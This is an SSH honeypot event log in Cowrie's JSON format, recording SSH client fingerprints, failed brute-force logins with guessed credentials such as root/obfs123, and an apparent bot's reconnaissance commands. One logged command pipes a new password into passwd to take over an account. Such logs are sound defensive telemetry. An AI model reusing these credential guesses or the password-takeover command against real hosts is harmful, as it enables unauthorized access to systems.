ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:13.667806Z","src_ip":"98.70.48.241","session":"a06d2931cef8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:14.434149Z","src_ip":"98.70.48.241","session":"a06d2931cef8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:15.622392Z","src_ip":"98.70.48.241","session":"a06d2931cef8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"98.70.48.241","src_port":51128,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1191bcb95bc","protocol":"ssh","message":"New connection: 98.70.48.241:51128 (10.17.0.5:22) [session: e1191bcb95bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:15.801558Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:15.809197Z","src_ip":"98.70.48.241","session":"e1191bcb95bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:15.993981Z","src_ip":"98.70.48.241","session":"e1191bcb95bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:16.758439Z","src_ip":"98.70.48.241","session":"e1191bcb95bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:17.950547Z","src_ip":"98.70.48.241","session":"e1191bcb95bc","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.218296Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.223324Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.418495Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.844703Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admini\\nnZ07ltB6L5LQ\\nnZ07ltB6L5LQ\"|passwd|bash","message":"CMD: echo -e \"admini\\nnZ07ltB6L5LQ\\nnZ07ltB6L5LQ\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.851694Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.856311Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:18.860839Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/20453663720122f6b023aaecc5dbc330442b5e67e2e31124aecf6e198761bd96","size":32,"shasum":"20453663720122f6b023aaecc5dbc330442b5e67e2e31124aecf6e198761bd96","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/20453663720122f6b023aaecc5dbc330442b5e67e2e31124aecf6e198761bd96 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:19.056806Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:19.494287Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admini\\nnZ07ltB6L5LQ\\nnZ07ltB6L5LQ\\n\"|passwd","message":"CMD: echo \"admini\\nnZ07ltB6L5LQ\\nnZ07ltB6L5LQ\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:19.498189Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8a20f129b71d1a509db932ffcc44493808df0dee1bd4289107cddd0e4bee8ec1","size":25,"shasum":"8a20f129b71d1a509db932ffcc44493808df0dee1bd4289107cddd0e4bee8ec1","duplicate":false,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/8a20f129b71d1a509db932ffcc44493808df0dee1bd4289107cddd0e4bee8ec1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:19.691982Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:20.161820Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:20.165504Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:20.361048Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:20.797091Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:20.801250Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:20.995695Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:21.419567Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:21.423529Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:21.427517Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:21.624268Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.081238Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.085376Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":57816,"dst_ip":"10.17.0.5","dst_port":22,"session":"f7d735f8a927","protocol":"ssh","message":"New connection: 103.15.226.202:57816 (10.17.0.5:22) [session: f7d735f8a927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.132016Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.140130Z","src_ip":"103.15.226.202","session":"f7d735f8a927","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.278596Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.388560Z","src_ip":"103.15.226.202","session":"f7d735f8a927","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.712946Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.717131Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:22.913086Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"obfs123","message":"login attempt [root/obfs123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:23.139309Z","src_ip":"103.15.226.202","session":"f7d735f8a927","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:23.344122Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:23.347227Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:23.541440Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:23.974327Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:23.978515Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:24.173962Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:24.389948Z","src_ip":"103.15.226.202","session":"f7d735f8a927","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:24.615655Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:24.620607Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:24.818313Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:25.249842Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:25.254669Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:25.448994Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:25.886113Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:25.889269Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:26.082413Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:26.521369Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:26.525513Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":6,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:26.718610Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:27.164333Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:27.168347Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:27.364014Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T18:40:27.797312Z","src_ip":"98.70.48.241","session":"23f42d479d17","protocol":"ssh"}
